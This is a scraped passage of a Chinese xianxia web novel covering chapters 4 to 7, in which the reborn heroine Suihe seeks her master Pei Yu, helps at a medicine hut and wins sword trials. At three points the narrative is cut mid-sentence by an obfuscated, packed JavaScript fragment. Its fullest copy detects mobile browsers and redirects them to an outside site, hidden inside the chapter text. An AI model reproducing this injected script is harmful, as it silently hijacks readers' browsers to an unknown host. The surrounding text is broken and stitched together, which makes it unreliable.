而连翘大人,正伸着她肉嘟嘟的爪子在盘子里拈蜜饯吃。 “连姨日子过得美哉!”岁禾由衷赞叹。 “好了,你们先下去吧。” 挥退了两个药童,连翘才从椅子上起身,一张美人脸在岁禾身上打量一番。 “你不是一向不喜欢来我这药庐的吗?说什么只有剑修才是真的修士,现在是想通了?” 岁禾点点头,露出模范生的笑容,乖巧过去给连翘捶腿。 “您说得对,年少时是我不懂事,辜负了您的心意。后来我想想,虽然当不了医修,多学点药理,还是挺好的。” 连翘狐疑的眼神在她身上绕一圈:“你是又闯祸了,还是有什么阴谋诡计?” “哪能啊!” “我知道了,是你的毒又发作了,对不对?你从小身体就不好,平日里裴煜他也不管你,还不是只能送到我这里养着,喝汤补药。药庐后面给你炖着的,十全大补汤,你拿去喝了吧,你体内之毒虽无药可解,喝了这药,至少可以养着,避免发作。” 她从小身体弱,全靠连翘给她调制的药。虽然连翘看起来有些严厉,但对她还是很关心的。 在她不在的这段时间,十全大补汤都研制出来了。想到这些年喝过的药,岁禾本能地嗓子眼都想吐出来。 对连翘表达完谢意后,岁禾开始旁敲侧击进入主题。 “师父他出关了吗?” “你说裴煜那个冷脸狂魔啊?谁稀罕他出不出关。”连翘换了个姿势,继续躺在椅子上,略带嫌弃地说:“反正现在罗浮宫大小事务有两山掌教打理,他就是一个挂名宫主,他出不出关有什么关系!” 连翘话是这么说,但岁禾知道,她其实非常关心自己口中的这个师父。师父幼时丧母,几乎也是连翘陪着长大的。 只不过随着裴煜越长越大,两人之间才生分起来。 “师父他已经闭关两年,说来我也很久没见过他,不知他一个人在虚华殿会不会冷清。” 连翘听到这里,将她的手挥开,有些不耐烦。 “他早已出关,前些天还召集我们一起去往虚华殿,只是他不让我将这话告诉你。你若想他,就自己去虚华殿,看他会不会召见你吧。” 裴煜。想到这两个字,岁禾心内有些发烫。 有多少年未见过你了呢?已经整整一百年了啊。 这个永远一袭白衣的男子,永远孤独地坐在虚华殿的上空,像一轮高高的明月,望着西北角的天空。 “你有什么心事吗,师父?为什么你看起来那么地不开心呢?” 幼年的她,总是像个跟屁虫一样绕着他转。他在殿后练剑时,她就坐在秋千架子上一荡一荡望着他,他在读书练字时,她在旁边喂小鸟吃糯米糕,他在虚华殿中批阅折子时,她会趴在旁边的矮几上陪着他。 “这些折子有什么好看的,还不如去后山抓蚱蜢呢!芙蕖她们抓了好大一只。” 岁禾嫌无聊,趴到他的膝前,不住央求着他。 被他毫不留情扒拉开。 那时她根本不懂,明明裴煜看起来只是十七八岁的少年,为什么脸上已经毫无笑意,终日只是对着一堆折子,和这些老气横秋的长老们。 “师父啊,你跟我一起出去玩吧。后山的桃花开了,一簇簇可漂亮呢,桃花飘到金碧溪里,还有小鱼过来叼花呢!” “师父啊,连翘姨田里的乌麻都已经熟了,派了好多紫色衣服的弟子去收呢!今天我跟芙蕖、流岚她们一起去看了,好热闹呢!明天你跟我们一起去看看吗?” 每当她这么叽叽喳喳说着,他总是冷言冷语说一句。 “走开些。” 走开些。幼时的她,看不懂他眼里的嫌弃,木木愣愣走至一旁,靠着虚华殿内的天井睡着了。 她有时候跟院子里的蚱蜢玩,有时候跟飞过的小鸟讲话。 她说:“师父他讨厌我。” 有一年冬天,天降大雪,岁禾一个人在天井旁睡着了,大片大片的雪花砸在她身上,覆了她一身。等她醒过来时,迷迷糊糊中有人抱着她。她发着很烫的烧,冻得眼睛都快睁不开了,可是她看见那个常年不苟言笑的少年,抱着她,一路狂奔。 “别睡,岁禾。” 那是她第一次在他脸上看到这种焦灼的神情,也是她从未见过的神情。他的鼻子真挺啊,直直的鼻峰,下面弯起一个好看的弧度,他的眼睛瞳孔很深,像夜里的深空。 “是你吗?师父。” 她迷迷糊糊地想,她太幸福了,她居然看到了师父,师父正抱着她,在雪地里飞行。 “别睡!”她的手被那人捏住:“你不是想去后山看花吗?等你好了,我们就一起去。” “真的吗?可别骗我。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那时所有人都不知道泱姬是魔族,大家赞叹她美貌善良,医术高超。所有人都喜爱她,包括裴煜。 只有岁禾,痛苦不堪,心生醋意。她无法忍受所爱之人移情别恋他人。她一直在反抗,甚至惹下许多祸端,直至被裴煜厌弃。 裴煜大婚那日,南境被魔族吞灭,一场山火毁灭所有。 她不知道裴煜有没有后悔,他看她的最后一眼,似有悔恨,似有痛苦,还有一丝说不清道不明的情愫。 师父爱过她吗?直到他死去,她都没有搞清楚过这个问题。 现在离灭国还有半年,她想,是时候弄清这个问题了。 她要纠正所有的错误,把一切送到正轨上来。 5. 第 5 章 岁禾御剑来到虚华殿,殿前两个侍女正在洒扫。 虚华殿位于望月峰之上,是罗浮宫内最高山峰。平日里这里少有人至,裴煜一向不许人打扰他的清净。就是两山掌教和四大长老,也只能有要事才能来至这里。 从小能在虚华殿长大,对于岁禾来说,已经是相当大一份荣幸。 在说明求见来意后,侍女们打量她一眼,进去禀告了。 随后殿门打开,一个装扮华丽的侍女被簇拥出来。那女子十分端丽,眉眼间皆是傲气。 那是裴煜身边的侍女,明玉。 明玉自她生活在虚华殿时,就不甚待见她。以往岁禾不明白这份敌意从何而来,直到她看见裴煜和泱姬在一起,才心中一腔怒火,她想起自己在虚华殿时,见过柱子后的这种眼神,她也就明白了。 明玉喜欢裴煜。其实不止明玉,几乎虚华殿所有女人,对裴煜多多少少都有些倾慕。 这么姿容姣好,修为超群的男子,换谁都忍不住动心。 明玉对她的刁难,以往只能收着,在她被赶出虚华殿后,这份怒意自然也不必再掩着。 “按照宫门规定,除两山长教和四大长老,无人有资格来这虚华殿,你此番擅闯此处,是何来意?” 明玉看着她,又似没看她,眼神虚虚落在一处,眉心不悦皱起。 “我有要事要禀告宫主,请放我进去,我要面见宫主。”岁禾知道她的心思,懒得跟她纠缠,简明扼要说明来意。 “你可知每天想见宫主的人何其之多,你有何要事,可禀告四大长老,长老们依事情轻重大小,自会决定是否通禀宫主,轮不到你一个小弟子来这里觐见。” 岁禾就知道她要说这番话。 可是她所说之事,不能跟四大长老说啊!她若是说,南境在半年后就要灭亡,且灭在魔的手中,所有人都会当她失心疯,把她被当成恶意散布谣言的异类,起来关着吧。 谁都知道这世上已经没有魔的存在。 千年以前,紫皇带领四境境主一起,将魔君诛杀在了西部凉州鬼域,魔族也在那场战乱中被各修士诛灭。 世上哪里还有魔族的半点影子。现在天下太平,谁会相信她,谁会相信半年后的一个预知。 “别说这么多,若你还关心南境所有人的存亡,就麻烦你进去跟裴、跟宫主说一声,就说岁禾在这里等他。” 明玉狐疑地看她一眼,随即笑得更欢。 “你一个弃徒,别以为我不知道,这又是你想接近宫主的把戏。奥,我知道了,两年前你被逐出了虚华殿,你心中一直不甘心,想要重回这里,这两年间,你无数次求见宫主不成,就想出这种把戏,想求我们放你进去。我看你还是别做梦……宫主他根本就不想见你。” 宫主他根本不想见你。 这句话,在来这里之前,岁禾就在心中想过无数遍。 也许是真的吧,裴煜根本不想见她。若是他想见她,这两年里,他有无数次机会可以见她。 可是他没有。 历代罗浮宫宫主的亲传弟子于十五岁这年,就要离开虚华殿,去往出岫学宫深造,不得宫主亲传,不可再上来这虚华殿。 这是罗浮宫宫规,可是这绝不是他避之不见的理由。 岁禾不明白,他到底在顾忌什么,他为何狠心至此。 两年前自她从虚华殿走出那一刻,虚华殿的门永远地在她身后关闭。此后传来他闭关的消息。 他整个人就像消失了一般,再未如往日那般出面新弟子的考校大会,也再未出现在任何重要场合。彼年的岁禾想不通,也曾以为是沉疴的宫规所致,在很思念他的时候,也一度如今日这般闯上望月峰来,可是无一不是被拦下,被赶走。 这两年来,竟是连他一面也未见上。 可是她没时间了,魔族在半年后就要入侵,灭了南境,关键点还在于她的师父,裴煜。她必须尽快见到他,并把魔族的计划告知于他。虽然他们已经很多年没有见过,但她始终相信,即使这罗浮宫无一人肯信她,也有师父信她。 但眼下,师父他避而不见,也不知是出了什么问题。明明连翘长老说过,他已经闭关出来了。 这可真是够了。看来还得另想他法。 …… 一连几日,岁禾都有些郁郁寡欢。 师父这里毫无突破,紫薇之子的考核也毫无进展。剑夫子的课她早已在百年前上过无数遍,毫无新意。 如今大道成神,需分九阶:练气、筑基、金丹、元婴、藏幽、化神、合体、半神、真神。 前世她已修炼到半神境界,还是被人破了功法,身死道消。 现今她虽然只是筑基后期,但仍记得红衣莲火心法,再过半个月,修行突破金丹期,只是迟早的问题。 既然裴煜那里无从突破,她还是得从连翘这里下功夫。 于是这日傍晚,在上完符箓课后,岁禾又来到连翘的药庐。 这次连翘没有吃蜜饯了,一改往日作风,极其秀美地在药庐里……绣起了花。 “您绣的鸟真是惟妙惟肖。”岁禾适时恭维。 岂料被连翘大骂一声:“什么鸟,我这修的是鸳鸯!鸳鸯你看不出来吗?” 对于这横七扭八的鸳鸯图,岁禾确实有些眼拙看不出来,但是看连翘这双颊通红的状况,她算是很明白了。 “您这是给沉耀长老绣的?” 岁禾试探地开口。沉耀长老是四长老之一,排行第二,是打理出岫学宫的长老,长得清俊儒雅,即使四十多岁,仍吸引了一大波颜粉。 对于颜粉一事,连翘从来都不认同,这明明是被知识的力量吸引了。 连翘点头,拈着绣花针,手上穿针引线,坐得十分端方。 “沉耀说,他最喜欢这种温柔秀美的女子。我觉得吧,我很适合,我看他说的就是我。” 连翘柔弱地抬起头,问岁禾的意见:“你觉得呢?” “我觉得很对!”岁禾表示肯定。 为了不被连翘的矫揉造作荼毒,岁禾打算溜去药庐后喝点药汤。 “你跑这么快做什么!” 身后传来连翘的大吼。声音震天,岁禾掏掏耳朵,淑女破功。 药庐后方,是几间铺子,一间问诊,一间治伤,一间抓药。很多人间界的疑难杂症,人间界的大夫搞不定,那些穷苦的病人,就会绕过南境与人间界的分界线,不远千里来到此处,找罗浮宫的“仙人”救治。 仙人们不是这么好求见的。罗浮宫的金匮阁也只为宫内人开放。为了救治更多的百姓,宫主下令开了这个药庐,设在罗浮宫边缘,一来可以种药材,二来可以救治普通凡人。 连翘平日就在打理这间药庐。给凡人们开膛破肚,或者抓药救治。 岁禾以往不喜欢来此处,现在在鬼门关走了一遭后,多了些众生平等的悲悯,也同时弥补跟连翘相处很少的遗憾,遂喜欢往这里跑。 药田的熏香让她感觉惬意。 此时已是傍晚,药庐后小童都在看顾病人,只有一个年轻弟子在看火。 宽敞的后院,一方小炉支起一罐汤药,药汤的香味顺着风吹到她的鼻子里。 年轻弟子一下下地摇着扇子,正在专心致志看火,丝毫没有发现她的到来。她突然有些眼熟,那玄色衣衫,修长挺拔的身影,不是卫长宁又是谁。 他怎么会在这里? 岁禾的脚步顿住。也许是听到她的脚步声,卫长宁也往她这边看来,两人视线交错,都有些诧异。 “这么巧啊,师弟也在这里。” 岁禾率先打破沉默,只见卫长宁点头,没有接话,只是自顾自地一下下扇着汤药。从她这个角度,能看到他躬身,半截白皙的脖颈。 偌大的院子,没人接话,气氛尴尬,岁禾摸摸鼻子,准备后退,刚 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“你去把这味药加到后院那汤水中,再炖上一炷香,应该差不多。别把那锅药弄砸了,竟然你诚心诚意回来帮忙,就先从基本的炼药开始吧。” 怀着忐忑的心情,岁禾回了后院内。 原本院中支起的药炉边,空空如也。原先站在炉边看火的人,也不知去了哪里。 不在也好,不知怎地,岁禾松一口气。 炉子火苗正旺,土色的陶罐上面飘着滋滋的热气。岁禾挑起药架上一块白色的纱布,覆上去,将药罐打开,新添的药岁禾也叫不出什么名字,闻着一股清苦味,甫一倒入罐中,罐中就飘出浓郁药香。 望着手中空空的纸袋,只剩几颗碎末,岁禾也不知全倒下去,是否有差池。 刚才就应该提前问连翘姨的。 大魔头做惯了,这还是她第一次亲自熬药,也不知是什么人会吃到她亲自熬制的药。 望着炉子里咕咕冒出的热气,岁禾端来一把椅子,索性坐在一旁。坐了会,其实是有些无聊,索性开始四处打量。 已是傍晚,药庐的病人都已安歇好,此时院子里,既没有药童来往,也没有新来看病的人,静悄悄的。 就连方才的玄衣少年也不在。 岁禾杵着下巴,无奈盯着咕咕直冒的热气。不知怎地,之前的庆幸,现在又有些怅然起来。仿佛被放弃在这方天地。 “这药过一盏茶的时间,就该搅动下。” 身后响起脚步声,岁禾不可抑制坐直身子,她当然知道那是谁。 “是吗?” 眼瞅得那人伸出一只细长的手,将药盖打开,另一只手捏着木勺,将罐内轻轻搅动。 明明不想看,可眼睛不自觉追随他动作,他细长又骨节分明的手,均匀地搅动罐内之物,起起伏伏,仿佛不是在煮药,而是在做一件精美的物品。 那露出的一截手腕,肤白如玉,映在她的眼中。 岁禾收回视线,不想再看。 一炷香的时间,其实说来不长,只是两人共处一处地方,就有些漫长了。 这一炷香里,两人各自坐在凳子上,慢慢等火。 就离一臂的距离,近得仿佛他一动作,他的衣袖就会挨到她的布料,近得她能感觉到那身玄色衣衫之下,薄而有力的心跳声。 岁禾颇有些不自在,那天在幻海花里,两人亲密相帖的画面冲进她脑海,他绵长的呼吸和撩人的话语,似乎仍在耳畔。 那人似乎不会避嫌,也似乎早忘了那天的尴尬境遇,坐在药炉边,就只是坐着,像一块沉默的礁石。 岁禾坐了一会,起开身。 “既然师弟在这里看火,我去前院看看有什么需要帮忙的。” 说完,逃也似地飞快离开。 6. 第 6 章 自从知道卫长宁也在药庐后,岁禾减少来药庐的次数。 反正连翘姨只是少部分时候在药庐,大多时候还是在金匮阁处理罗浮宫内医药事务。岁禾有事,会去金匮阁找她。 或者干脆让小怜给她传话。 仿佛药庐住了洪水猛兽,让她避之不及。但越不想见的人,越能遇见。 毕竟两人在同一学堂练习剑课,难免抬头不见低头见。但剑课之上,有夫子,还有众多学子,他在与不在,又有什么关系呢? ……何况,还有叶芙蕖一伙人管着他。 这日上剑课,朱夫子在传授剑术之后,分派弟子们去演武场练剑。这次练剑分为两人一组,作为去风极海试炼的预选赛。 打败对手的弟子,才有资格进入下一场比试。 演武场位于出岫学宫一处开阔的空地上,是练剑和比试的专用之地。此时已过巳时,太阳升得老高,气温也逐渐炎热起来。 弟子们被分为若干组,在太阳底下站着,开始比试。这场比试对于所有人来说都非常重要。没有人会舍得放弃紫薇之子的殊荣,也没有人能抵挡红衣莲火心法的诱惑。 弟子们抽完签站好,面对对手,眼中都流露出勃勃野心。 “师兄,刀剑无眼,可别怪我。” “那是自然,谁人能舍弃紫薇之子的奖励。更何况,能去中州争夺神剑。” 过白驹神剑,那柄用紫皇遗骨制成是神剑,是所有人的梦想。 “既然如此,那可别手下留情。” 岁禾混迹在众弟子中,听到的多是此类话语。一场争夺赛,可能会让很多好友反目,但修仙世界从来如此。 弱肉强食,只能适应。 跟叶芙蕖分在一起的,是一个男弟子,两人看起来高下立现,岁禾很肯定,谁会是这场比试的胜利者。 注视到她的目光,叶芙蕖也投来一个意味深长的目光。 看样子,叶芙蕖已经解除了迷雾森林的误会,可是那姿态分明不打算放过她。 那目光里,有恼怒,还有从来不加掩饰的恶意和嫉妒。 那目光在宣示,岁禾仍是她的对手。只是碍于她会用毒,叶芙蕖目前不会再次对她下手。 两人视线交错,都停顿会,之后才分开视线。叶芙蕖那边进入比试,而岁禾这边,有别的对手。 跟岁禾分在一起的,是兰草族的一个女修,名叫云瑶。 那是一个看起来柔弱又貌美的女弟子,看年纪比岁禾还小上一两岁,岁禾在剑课上看到过这个少女。 平日里这个少女总是不苟言笑,一副心事重重的摸样,也不知道她修为如何。 “岁禾师姐,请出招。” 大约是听过大师姐这个名号,云瑶对她的态度还是恭恭敬敬的。 对于这个乖乖的师妹,岁禾有些于心不忍,可是这也怪不了她。 岁禾现在用的,是一把黑色的玄铁剑,名为“风鸣”,是她十岁时,裴煜赠给她的长剑,挥动时如秋风拂面,肃杀风鸣。 云瑶所用之剑,则是一柄绿色长剑,剑身很窄,绣着一些古怪花纹,大概是兰草族特制的图腾。 两剑相交,墨色剑气卷入绿色剑意,交汇成一条暗光带。 本来会是一场精彩的对决,但此刻演武场上比试正酣,场上剑气如虹,自然谁也没有注视到她们这边的比拼。 “当”地一声,墨剑在绿剑之上撞出火光,岁禾一击之下,才惊觉这个貌似柔弱的女修身上,有着磅礴的内力。 一个兰草族的精灵,换作人形就要数百甚至上千年,成为修士,那更是需要刻苦修炼。岁禾想想也能知道,这个叫云瑶的弟子,能站在这里,究竟付出了多少。 “你们兰草族的剑法竟然如此深厚。” “请师姐不必手下留情,中州我必须得去。” 柔弱的少女抬眸,眸子跃动着顽强的焰火,那是志在必得的野心。 “是吗?恰好我也有非去不可的理由。” “那就别怪云瑶不客气了。” 在比试几轮后,两人都有些体力不支。云瑶大概跟她一样是筑基期后期修士,不,加上兰草族坚韧的比试打法,云瑶此时的实力,堪比金丹初期。 这个柔弱的少女,不知从哪里继承了一股强大的内力,而这内力丝毫不影响她剑锋的灵活。好几次,绿剑贴着她的头发而过,带起一片擦伤的血迹。 岁禾从半空飞跃而下,才堪堪避开她的剑锋。 云瑶几击不成,眼见很多弟子都已经结束比试,这下也急了,若是在一柱香过后,还没分出胜负,两人皆被淘汰。 云瑶手中之剑更加凌厉扫射而来。 “夫子讲到《天问》第四章,引气入体,游走经脉,皇皇召召,以剑合一……是这样吗?” “镪”的一声,卷起的绿色灵力似箭一样,闪电一般向岁禾袭来。 岁禾来不及闪躲,举剑横挡。 绿色剑尖像触到什么东西,瞬间凝结了。 一缕墨色剑气,摧枯拉朽般,将绿色长剑侵蚀…… 随后风里喀拉一声,原来是岁禾在挡住剑锋之后,一剑挥出,这一剑,卷动天地灵气,朝云瑶袭来,云瑶避无可避,眼见手中之间就要被弹开。 云瑶柔弱的脸上,才露出一股狠意,她手肘一推,迅速转身,同时一剑平削。 一抹绿色的剑气,形似一株绿色的藤蔓,从绿剑一路蜿蜒,丝丝缠绕住对手的剑。 那是兰草一族的抵御类型的术法。 岁禾眸中闪过一丝诧异,迅速调整姿势,右手握剑柄,左手食指和中指并行,以迅雷不及掩耳之势点在剑身上端,剑身发亮,墨色剑气凝成水波,由一股凝成更多,很快从藤蔓中破出。 形成一条墨色的瀑流。 藤蔓受水波冲击,喀拉开始断裂。 云瑶咬紧唇,狠地一拉,藤蔓又卷土重来,变得更粗壮,幽绿色的光如一张密织的网,将一顷水波团团阻在里面。 可哪里阻止得住,水波倾泻而出,势无可挡。很快绿剑被压制,墨色的风鸣剑气朝云瑶扑来,她整个人摇摇欲坠。 可她仍旧不死心,拼死顽抗,直到剑气即即将穿过她的胸膛。 “松手吧。” 岁禾道:“这样下去你会受伤。” 那边云瑶唇瓣咬出血,却仍旧无济于事,终于彻底松手。整个人颓败下来。 “是云瑶输了,多谢师姐手下留情。” 胜负已分。方才她只用了空明灵花五分功力,已经能将兰草族深厚内力之人击退。 一柱香的时间到,朱夫子派剑侍之首苏风释师兄过来宣布获胜名单。此处比试弟子约有一千人,此刻获胜者在五百人左右。这批人,将在两日后,举行下一场比试,淘汰剩下的一半人。 在获胜名单里,岁禾果然听到叶芙蕖的名字。 叶芙蕖站在一众弟子里,高高扬着头颅,像一个骄傲的公主。她的同伴们众星拱月地将她围在中间,不住赞美着她。 在她身后,站了一位高高的男弟子,穿着玄色衣衫,显得有些不伦不类。 岁禾一眼就认出,那人正是卫长宁。只有他会穿这玄色衣衫,上面绣着暗金云纹,十分繁复,看起来有些贵重。 这已经是她多次看到他穿这种衣衫。 寻常弟子都被要求穿出岫学宫的特制弟子服,装紫色衣衫,可这位卫长宁师弟,入门最迟,却能不守宫规。 也不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几个人春风满面朝后面走来,却见叶芙蕖拧拧秀眉,似乎想辩解什么,但始终也没说。 岁禾本来也在朝后离场,听到她们的话还是忍不住顿了下脚步。她知道叶芙蕖这人一向争强好胜,她如今修为已经是金丹中期,在这一辈的弟子里都是翘楚,可以说无论对上这场中何人,她几乎已是胜者之局。 “姐姐,你这样未免太残暴。你已经获胜了,何须再伤残他人身体。” 岁禾转头,发现这话是从叶芙蕖旁边一个女子口中说出的。 那女子长得与叶芙蕖极其相似,一样的身高体态,只是眉眼更温和一些,气质也更温柔。岁禾认得她,这是叶芙蕖同父异母的妹妹,叶流岚。 叶流岚在叶家,可谓是小白花一般的存在,柔弱心善,跟叶芙蕖的傲慢根本不同。 但这样柔弱善良之人,想来也是被叶芙蕖一伙人不容的。 “我这个妹妹一向体恤他人。”叶芙蕖听她这么说,眉头紧皱。 “流岚妹妹,胜负乃常事,谁让他运气不好。你担心这个,又担心那个,这世上所有人你都管得过来吗?叶姐姐平日对你如此之好,你何必说这些话来惹她不快。” 叶流岚听到一伙人这么说,还想多说什么,却还是飞速低下头。 岁禾听够了这些话,叶芙蕖这性子也不是一天两天了,小时候她曾当她是好伙伴,经常来找她玩,直到那件事的发生,她才认清了这人的真面目,从此反目成仇。 下一轮比试,只希望不要遇上她。 7. 第 7 章 出岫学宫的弟子,除了要在学堂上课,平时还需要前往一处进行试炼。 罗浮宫专门设置了这样一个地方——镇魔塔。 镇魔塔虽然名为镇魔,但里面关押着,其实是千年来作恶的凶兽妖怪。弟子们除了要彼此对练,还需前往此处,进行试炼。 后来弟子们修行越来越高,可供训练的妖兽越来越少,因此罗浮宫专门在镇魔塔旁建造了一座塔,名为双子塔。 双子塔内的妖物皆为虚拟妖物,正好供弟子们平时试炼。 为应对接下来的选拔,岁禾迫切需要在塔内闯关,提升修为。 这次岁禾在下学后,来到双子塔。等在双子塔门口的是一位枯瘦的守塔老人,老人读完岁禾给出的腰牌,放她进塔。 双子塔黑色大门咔哒打开。 甫进塔,视线一下变暗,像坠进黑色冰窟里,越往里走,黑暗越深,同时温度也更低。 双子塔模拟镇魔塔,跟镇魔塔一样共设置四十七层,每层关押着不同的妖魔,根据妖魔等级划分,等级越高,关押着的层数越高。每层楼之间用黑色旋转楼梯相连。 塔内妖兽发出阵阵怒吼。 底层都关押着灵智不高的凶兽,方才那些吼声就是它们发出的。 越往上走,越会遇到一些开了灵智且道行高深的妖魔。 “放我出来啊,小道友,我有至高无上的修炼功法,想不想听听?” “这位妙龄女郎,想合修吗?放我出来,我让你尝尝我的滋——”话音戛然而止,一道消音符堵住了他的嘴巴。 “闭嘴。”岁禾冷淡地斜睨一眼,没管那魅妖的呜呜声,继续往前走。 脚步在十五层停下。 这一层分别关押了两个妖兽,一个双头螭蠡已在十日前被她打败,两个巨大的头上被她亲手贴上灵印,一头一个,标志鲜明。另一个—— “闯关者是否决定进去?” 虚空里一道蓝色虚影霍然出现在牢门前,是一个手持烟杆的白胡子老头,长得圆滚滚的,声音也很有喜感,方才询问声正是他发出的。 岁禾理所当然说是。 “闯关者一旦进入,生死后果自负。小姑娘,你可想好了?” “想好了。”岁禾点头。 这是守塔人例行问话,只要依言回答即可。当然学宫不会真的让她们死亡,只是在塔内“身死”,虽不会真死,也会体验下死亡的痛感。 在塔内死亡的人,回到现实中,也会元气大伤。所以大部分弟子在这里试炼,不会真的让死亡真的降临。 “本次挑战的是——赤炎金猊。”白胡子老头手舞足蹈向她介绍完,蓝色虚影一股脑消失在面前。 赤炎金貎,岁禾眼睛不由睁大——牢门开了,一个通体金色的形似大狮子的怪物一把扑上来。 岁禾侧身闪避,牢门在身后轰然关上。 又是这家伙,还真麻烦。岁禾扯下嘴角,立马祭出伏妖阵将它困住。 金色阵纹以网状蔓延,将金猊团团围困在中央,被束缚住的凶兽挣脱不开发出巨大呼啸。 岁禾转动手指,阵网绞紧,同时右手出剑。 眼见就要将凶兽击中,金猊吼的一声喷出一团火,阵网顷刻间被灼出一个大洞。金猊顺势张口飞扑而来。 岁禾转动手腕,剑尖在地上迅速后划,她借力往上一跃,落至金猊身后。不等金猊反应过来,飞剑刺出。 “呲啦”一声,正中皮肉,血花飞溅。 金猊吃痛,扬起蹄子卷尾扫过,尾巴和毛发扫到之处皆燃起火焰,那是它发狠的前兆。 岁禾迅速后退,背撞击在牢壁上,闷哼一声。 左袖外袍被灼出一个黑洞。赤炎金貎还是挺能打的,岁禾在心中打定主意,一把脱掉外袍以旋风般的速度扔向金猊。金猊正猛力冲过来,不及收势,已被外袍罩住。岁禾蓦然腾空,手中之剑化为数百小剑,从四面八方钻进金猊皮肉。 “嗷——”的一声,金猊应声倒下。岁禾落地,终于松口气。 这赤炎金猊为上古十大凶兽之一,传闻为火神坐骑,力量能焚烧一切,锻铁熔金。 随着最后一丝灵力注入,岁禾收回手掌。金猊兽额前现出白色印记一闪而逝,盖印完成。 “恭喜闯关者成功突破第十五层塔。” “呜哇!你把我们小金猊打得这么惨!”白胡子老头从虚影里探出身子,凑到赤炎金猊身前,用手指在它身上戳戳点点。 “全是血窟窿啊!你这个歹毒的小女娃。”老头直起身子,对着她一番吹胡子瞪眼睛:“嗷!我记得你!上次将那两条乌蛇打残的也是你!你你你……” 岁禾收回利剑,掏出一块绢布将剑上的血擦干净:“你什么?我不打他们,被吃掉的可是我,丢掉性命的也是我。” 白胡子老头一时语塞,伸手在赤炎金猊头上抚摸几下,金猊身上的血窟窿奇迹般消失无痕,而后挣扎着站了起来。 老头这才满意点点头:“喂,下次别打这么狠啊!你打成这样子,让后来的闯关者打什么?” 岁禾扶额,摆摆手示意知道了。老头这才从虚影里退出去。 又过了一层,这次她听了守塔人的话,“狠温柔”地结束了战斗。“恭喜闯关者成功突破第十六层。” 伴随这句话响起,岁禾的眸子又亮了一分,体内红衣莲火心法运转越发流畅,只要再闯关一层,突破金丹期指日可待。 …… 这日演武场上开始第二场比试。 岁禾刚刚在场上站定,就见两个娇俏的女子在簇拥中往这边走来。 其中一人是叶芙蕖,另一人是她的小跟班琼枝。后面跟了五六个差不多年纪的女弟子。 她们一路走,周围人纷纷散开,给她们让出一条路。 叶芙蕖很自然地接受那些让路,这在她看来十分的司空见惯,她生来就该享受这些优待。 有个女弟子退慢了一步,被后面的侍女一鞭子抽开。 “谁让你们在这里练习的,不知道这是我们在演武场的专用区域吗?” 这一鞭子响声很大,演武场正在练剑的弟子纷纷朝这边看过来。 一个小弟子被鞭子抽倒在地,背后登时一条醒目的血痕。众人倒吸一口气,小弟子伏倒在地,也不知是疼痛还是惊骇,一时间竟没起身。 旁边的跟她一起对练的同伴蹲下身扶她,这才发现那弟子脸上也受伤了。左颊到右眼角处,红肿了一长条,看起来狰狞可怖。 同伴拉起她,见她木楞愣的,低声说:“我们走。” “这就要走?我们允许了吗?” 前行的路却被挡住,几个女修挡住面前,受伤的弟子明白过来,出言道:“师姐们,我们下次不敢了。” 师姐们冷言冷语,自然脸色极为不好,站在最前面的师姐一脸冷淡,仿佛没听到她的话。 温度渐热,众人还穿着暮春的长袖弟子濡服,那人却已经早早换上了夏季的丝涤服,轻薄如蚕丝,银线镶边,流苏系带,十分华贵。正是叶芙蕖。 “走吧。” 良久这位神仙似的美人淡淡开口,受伤弟子们如获大释,搀扶着往旁边去。 “站住,谁让你们走的。” 受伤弟子回头,一股大力朝她袭来,又是那个长鞭,长鞭朝她一卷,人就被带飞出去。 “琼枝,不可出手伤人!” 那美人正想阻止,可根本来不及。 “她吐血昏过去了。”人群中不知谁喊了一句。 正在练剑的弟子都停了下来朝这边围拢,演武场栏杆处,一个女弟子瘫软在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490100|185813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,不知道撞到哪里,地上淌了一滩血。 那受伤小弟子的同伴,看到同伴的惨景,伏在地上哭泣。 哭声不一会就引来学宫的守卫,只见一个剑眉星目的高个子男子带着人前来询问,此人跟叶芙蕖等人交涉一番,把受伤弟子跟她的同伴带走。 岁禾从头至尾看了整出闹剧,也早知道是这种结果。郭琼枝是断月山掌教侄女,叶芙蕖为紫云山掌教之女,两人平时在学宫嚣张跋扈惯了,旁人根本拿她们没办法。 不一会儿,演武场比试恢复正常。 在进行例行抽签后,上场比试的优胜者在本场继续进行对练,选拔二百多人的获胜者。不知是不是有心灵感应,这次跟岁禾分在一起的竟然是郭琼枝。 郭琼枝跟岁禾分在一组,起初一愣,后来露出嘲讽的笑容。 “好巧啊,大师姐,没想到有生之年还能跟大师姐在这里过招。” 她狭长的眸子闪过讥讽,谁都知道岁禾修炼很差,这场比试几乎是注定了结局。可她并不知道此刻站着她面前的,是二百多年后重生回来的岁禾。 “是很巧,我正好想向师妹讨教。” “师姐几次三番逃脱,这次可就跑不掉了。” “那就试试看。” 对于这场毫无悬念的比试,并没有引来太多人的围观。只有叶芙蕖团伙们偶尔传来奚落的笑声,随后大家纷纷投入到自己的比试中。 郭琼枝如今已经是金丹初期女修,虽然为人嚣张,但断月山对她的培养是显而易见的,断月山掌门无儿无女,对这个侄女看成亲生女儿一般,连镇教之剑都传给了她。 